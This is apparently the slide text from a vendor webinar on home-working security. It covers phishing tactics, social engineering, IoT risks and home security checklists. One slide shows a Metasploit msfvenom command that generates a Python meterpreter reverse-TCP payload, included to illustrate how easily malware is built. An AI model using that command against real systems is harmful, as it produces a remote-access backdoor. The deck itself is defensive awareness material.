
Virtual Happy Hour: Joey Muniz 
Discusses Security Practices for 

Working Safely at Home
Welcome!



AGENDA

 Happy Hour Welcome
 Networking For Future (NFF)
 Joey Muniz, Senior Cybersecurity Architect at Cisco Systems 
 Questions
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HAPPY HOUR WELCOME

3



OVERVIEW
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Networking For Future, Inc. (NFF)
 Founded in 1996
 Headquartered in Washington, DC
 130+ Employees
 77% of workforce hold industry 

certifications

Offering a performance-focused 
approach to delivering transformational 
IT business solutions.



OVERVIEW
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Contract Vehicles
■ GSA Schedule (GS-35F-0197L)
■ District of Columbia Supply Schedule

 MOBIS and ITES
■ Maryland Education Enterprise 

Consortium (MEEC)
■ Maryland Consulting and Technical 

Services (CATS+)
■ Fairfax County Public Schools
■ Maryland Department of Information 

Technology (DoIT) Hardware Master 
Contract

■ Virginia Association of State College 
and University Purchasing 
Professionals (VASCUPP)

Strategic Partners
■ Cisco Gold Partner
■ Riverbed Premier
■ Splunk Partner
■ NetApp Gold
■ VMware Enterprise Partner
■ Microsoft
■ Gigamon
■ F5 Networks
■ CoreSite

HALL OF FAME AWARD

CISCO OUTSTANDING 
SOLUTIONS PARTNER 
OF THE YEAR 2016

QUALITY JOBS CHAMPION



Joseph Muniz
Security Architect – Americas Sales Organization

Security Researcher – www.thesecurityblogger.com

Speaker: Cisco Live / DEFCON / RSA / (ISC)2

Avid Futbal Player and Musician

Twitter @SecureBlogger







Education Suggestions (I’m using)
• Free Cisco labs - dCloud.cisco.com
• Cisco NetAcad Program - https://www.netacad.com/
• Free School - www.khanacademy.org
• Many other there … 

http://www.khanacademy.org/


What Are You REALLY 
Up Against?



https://www.google.com/url?sa=i&rct=j&q=&esrc=s&source=images&cd=&ved=0ahUKEwjnlYvVm5HWAhXJhVQKHeNQBH0QjRwIBw&url=https://dplindbenchmark.com/overtime-pay-regulation-can-impact-employee-benefits/&psig=AFQjCNHzIbYOrQ7hFLoZe_gzxLG6TpRI1g&ust=1504809843768848


Social Engineering + Phishing Themes



Example: Social Engineering Toolkit
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Easy to Wrap Malware

Metasploit

msfvenom -p python/meterpreter/reverse-
underscore-tcp LHOST = ANYIP LPORT= ANY 
PORT R> anyname.py

Senna Spy One



But Wait … there’s more!



Unsecure Devices At Home
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500B
In 2030

50B
In 2020

15B
Devices Today



Lack of Legal Enforcement



Remote Working







https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-46r2.pdf



School work done, 
time for recess!



3 Things to Do

Speak With Family and Friends - People

Enable Security - Technology

Ensure Security is Enforced - Process



Core Technology To Do List (Home Security)

• Systems up to date?
• Antivirus + Antimalware?
• Reputation Security?
• VPN back to work?

• Free online Sandbox – joesandbox.com
• Free av/antimalware - https://talosintelligence.com/immunet
• Free Reputation Security - https://www.opendns.com/home-internet-security/

• Wireless Security?
• Content Filtering? 
• Cloud Backup?
• Update Passwords?

https://talosintelligence.com/immunet
https://www.opendns.com/home-internet-security/


Click to edit Master title styleReputation Analysis
The power of real-time context
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Simple Remote Access 
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Threat Intelligence
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Process



Automate and Enforce

• Remove ADMIN writes on family or employee systems
• Force VPN when off network (AnyConnect auto connect)
• Access Control – Posture
• Auto block sites with potential risk (reputation security)
• Automate updates
• Standardize host configuration



People



Speak With People

Example for kids: That is your friend in the 
game, but what if it is an old creepy hairy 
person? How would you know?

• Talk to your family about phishing
• Use secure passwords or long pass phrases
• Read your own public profiles
• Question something before installing
• Question something before providing login information



Phishing Tactics
• Language may be broken
• Conversation is open ended (can apply to anybody)
• Subject line is generic “Urgent” or “Immediate Action”
• Links

• TinyURL
• QR Codes
• Unusual links (healthequa1ty.com)

• Ask for a quick decision on something

Key point: It’s never wrong to confirm somebody’s identity or stop and 
question if something is real



Windows Update
Taxes



• Fictional CSE created to abstract sensitive 
information.
• Graduated from MIT with10 years of 

experience despite 28 years old. 

• Offered sensitive information from target’s 
sales and support team. 

• Had friends in target company and even 
offered dinner invitations.

Emily Williams – Targeting Identity





Download The Cyber Defense Comic

https://tinyurl.com/ycwt2moz
https://tinyurl.com/y6uurzuu

jomuniz@cisco.com



Security is a Journey … not a 
Destination!



QUESTION AND ANSWER TIME!
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Thank You!

Your performance improvement 
is our measure of success.
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